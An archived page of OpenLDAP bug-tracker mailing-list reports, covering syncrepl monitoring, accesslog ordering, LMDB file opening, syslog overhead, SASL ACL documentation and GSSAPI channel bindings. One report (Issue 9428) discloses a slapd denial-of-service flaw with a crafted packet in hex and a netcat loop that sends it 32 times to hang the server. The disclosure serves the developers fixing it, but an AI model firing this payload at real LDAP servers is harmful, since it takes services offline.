openldap-bugs December 2020

openldap-bugs@openldap.org

3 participants
88 discussions

[Issue 9339] New: Add syncrepl status in cn=monitor
by openldap-its＠openldap.org 12 Sep '22

12 Sep '22

https://bugs.openldap.org/show_bug.cgi?id=9339 Issue ID: 9339 Summary: Add syncrepl status in cn=monitor Product: OpenLDAP Version: 2.5 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- Patch coming to expose some consumer state in cn=monitor Sample entry: # Consumer 001, database 2, databases, monitor dn: cn=Consumer 001,cn=database 2,cn=databases,cn=monitor objectClass: olmSyncReplInstance structuralObjectClass: olmSyncReplInstance cn: Consumer 001 creatorsName: modifiersName: createTimestamp: 20200906160447Z modifyTimestamp: 20200906160447Z olmSRProviderURIList: ldap://localhost:9011/ olmSRIsConnected: TRUE olmSRSyncPhase: Persist olmSRLastConnect: 20200906160448Z olmSRLastContact: 20200906160453Z olmSRLastCookieRcvd: rid=001,sid=001,csn=20200906160453.039573Z#000000#001#000 000 olmSRLastCookieSent: rid=001,sid=002,csn=20200906160447.723677Z#000000#001#000 000 entryDN: cn=Consumer 001,cn=database 2,cn=databases,cn=monitor subschemaSubentry: cn=Subschema hasSubordinates: FALSE -- You are receiving this mail because: You are on the CC list for the issue.

1 9

[Issue 9358] New: back-mdb may return accesslog entries out of order
by openldap-its＠openldap.org 01 Sep '22

01 Sep '22

https://bugs.openldap.org/show_bug.cgi?id=9358 Issue ID: 9358 Summary: back-mdb may return accesslog entries out of order Product: OpenLDAP Version: 2.4.53 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- back-mdb will usually return search entries in entryID order, but may do a dn traversal instead if the count of children is smaller than the count of search filter candidates. The RDNs are sorted in length order, not lexical order. For accesslog, all RDNs are of equal length but if they have trailing zeroes, the generalizedTime normalizer truncates them. Changing their lengths causes accesslog's timestamp-based RDNs to sort in the wrong order. The least intrusive fix is to override the syntax/normalizer for reqStart and reqEnd attributes to not truncate trailing zeroes. -- You are receiving this mail because: You are on the CC list for the issue.

1 6

[Issue 9385] New: Opening an env with MDB_NOSUBDIR with no existing file returns error
by openldap-its＠openldap.org 13 May '22

13 May '22

https://bugs.openldap.org/show_bug.cgi?id=9385 Issue ID: 9385 Summary: Opening an env with MDB_NOSUBDIR with no existing file returns error Product: LMDB Version: unspecified Hardware: All OS: Mac OS Status: UNCONFIRMED Severity: normal Priority: --- Component: liblmdb Assignee: bugs(a)openldap.org Reporter: kriszyp(a)gmail.com Target Milestone: --- Created attachment 776 --> https://bugs.openldap.org/attachment.cgi?id=776&action=edit A fix to tolerate stat call on non-existing file Calling mdb_env_open with a file path to a file that doesn't exist yet, with MDB_NOSUBDIR on a non-Windows OS will return an error indicating that the file doesn't exist. This is supposed to create a new file, and works properly on the mdb.master branch, and still functions properly on Windows. The error is due to the stat() call in mdb_env_open prior to the file existing. I attached a patch that tolerates the absence of the file before checking if the file is on a block device. I am not sure if this is the appropriate fix, or if would be better to move this check later in mdb_env_open after the file is created, or alternately, determining the parent directory and calling stat on that. -- You are receiving this mail because: You are on the CC list for the issue.

1 1

[Issue 9403] New: add option to completely disable syslog logging
by openldap-its＠openldap.org 12 May '22

12 May '22

https://bugs.openldap.org/show_bug.cgi?id=9403 Issue ID: 9403 Summary: add option to completely disable syslog logging Product: OpenLDAP Version: 2.4.45 Hardware: All OS: Linux Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: cvuillemez(a)yahoo.fr Target Milestone: --- For auditing purpose, I need to enable "stats" loglevel. So on heavy load, slapd send lots of events to local syslog socket /dev/log, when compiled with LDAP_SYSLOG (on Debian / Ubuntu). It worked fine on old systems with a simple syslog service. But when upgrading on system with journald+syslog, CPU "overhead" becomes totally crazy. It would be great to have an option at run time to completely disable syslog logging, or/and use a cutom socket, e.g. /run/systemd/journal/syslog to bypass journald service. -- You are receiving this mail because: You are on the CC list for the issue.

1 3

[Bug 9256] New: The ACLs required for SASL binding are not fully documented
by openldap-its＠openldap.org 28 Feb '22

28 Feb '22

https://bugs.openldap.org/show_bug.cgi?id=9256 Bug ID: 9256 Summary: The ACLs required for SASL binding are not fully documented Product: OpenLDAP Version: 2.5 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: documentation Assignee: bugs(a)openldap.org Reporter: kop(a)karlpinc.com Target Milestone: --- Created attachment 727 --> https://bugs.openldap.org/attachment.cgi?id=727&action=edit Patch massaging the SASL binding requirement docs While some ACL requirements for SASL binding are documented, some are not. E.g, that olcAuthzRegexp requires =x on objectClass when direct DN mapping is not documented. Other requirements can be reasoned out based on the existing documentation, but this can be very difficult when unfamiliar with all the moving parts and the places they are documented. E.g. knowing that (objectClass=*) is the default filter, and that there's _always_ _some_ filter, and connecting this with ACLs required to do search-based SASL mapping. The attached patch brings all the SASL binding requirements together in one place in the docs and makes everything explicit. The word "SASL" is included, for those searching for that keyword. I, Karl O. Pinc, hereby place the following modifications to OpenLDAP Software (and only these modifications) into the public domain. Hence, these modifications may be freely used and/or redistributed for any purpose with or without attribution and/or other notice. -- You are receiving this mail because: You are on the CC list for the bug.

1 27

[Bug 9189] New: Add GSSAPI channel-bindings support
by openldap-its＠openldap.org 18 Feb '22

18 Feb '22

https://bugs.openldap.org/show_bug.cgi?id=9189 Bug ID: 9189 Summary: Add GSSAPI channel-bindings support Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: iboukris(a)gmail.com Target Milestone: --- Recently MS has announce they plan to enforce channel-bindings for LDAP over TLS (ADV190023). To support it on client side, we need to pass "tls-endpoint" bindings (RFC 5929) to the SASL plugin, and make use of that in GSSAPI. See also: https://github.com/cyrusimap/cyrus-sasl/pull/601 -- You are receiving this mail because: You are on the CC list for the bug.

1 13

[Issue 9350] New: Expand test suite for null base
by openldap-its＠openldap.org 31 Jan '22

31 Jan '22

https://bugs.openldap.org/show_bug.cgi?id=9350 Issue ID: 9350 Summary: Expand test suite for null base Product: OpenLDAP Version: 2.5 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- Currently we have no tests that use the empty suffix (null base). This is an entirely valid configuration setup, and there are unique challenges and bugs that crop up with this usage. We need to ensure we're covering this use case, particularly with syncrepl and delta-syncrepl configurations. -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 9282] New: Syncrepl re-creates deleted entry
by openldap-its＠openldap.org 13 Dec '21

13 Dec '21

https://bugs.openldap.org/show_bug.cgi?id=9282 Issue ID: 9282 Summary: Syncrepl re-creates deleted entry Product: OpenLDAP Version: 2.4.50 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- Scenario: 2 node Multi-provider replication Add database to provider A ensure database replicates to provider B Stop provider A delete entry on provider B Start provider A Wait for provider B to reconnect to provider A Deleted entry re-appears -- You are receiving this mail because: You are on the CC list for the issue.

1 22

[Issue 9356] New: Add list of peerSIDs to consumer cookie to reduce cross traffic
by openldap-its＠openldap.org 16 Nov '21

16 Nov '21

https://bugs.openldap.org/show_bug.cgi?id=9356 Issue ID: 9356 Summary: Add list of peerSIDs to consumer cookie to reduce cross traffic Product: OpenLDAP Version: 2.5 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- If we add a list of peersids to the cookie, each consumer can tell the providers who else the consumers talk to and then the provider can omit sending updates to that consumer, originating from those peers There's some special handling needed if a connection dies If a consumer loses one of its peer connections, and after N retries is still not connected, it should send a new cookie to its remaining peers saying "here's my new peer list" with the missing one removed. Likewise, if a retry eventually connects again, it can send a new cookie again Make that peer list reset configurable in the syncrepl config stanza. This can help account for end admin knowledge that some links may be more or less stable than other ones. The idea here is that if one of your other peers can still see the missing peer, they can start routing updates to you again It should abandon all existing persist sessions and send a new sync search with the new cookie to all remaining peers For consumer side, also means adding the sid for a given provider into the syncrepl stanza to save on having to try and discover the peer sid. -- You are receiving this mail because: You are on the CC list for the issue.

1 9

[Issue 9428] New: DoS due to infinite packet processing in slapd
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9428 Issue ID: 9428 Summary: DoS due to infinite packet processing in slapd Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: phasip(a)gmail.com Target Milestone: --- Processing of a packet results in the command handling thread becomming stuck in an infinite loop. After sending 32 of theese slapd doesn't respond to any new queries and consumes 100% cpu Packet 00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1. 00000010: 312e 3881 1030 0130 0030 3030 3030 3030 1.8..0.0.0000000 00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 30 0 GDB backtrace (gdb) thread 3 [Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))] #0 0x00007ffff7eb489b in sched_yield () at ../sysdeps/unix/syscall-template.S:78 78 ../sysdeps/unix/syscall-template.S: No such file or directory. (gdb) bt #0 0x00007ffff7eb489b in sched_yield () at ../sysdeps/unix/syscall-template.S:78 #1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249 #2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized out>) at cancel.c:143 #3 0x00005555555b449a in fe_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:225 #4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:175 #5 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c001160) at connection.c:1163 #6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xc) at connection.c:1314 #7 0x0000555555671080 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #8 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 #9 0x00007ffff7ed1293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: docker run --privileged -it --net=host --entrypoint gdb phasip/openldap /openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run' for i in {1..32}; do echo -en '\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' | timeout 1 nc localhost 1389 & done -- You are receiving this mail because: You are on the CC list for the issue.

1 5

← Newer
1
2
3
4
5
6
7
8
9
Older →

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs December 2020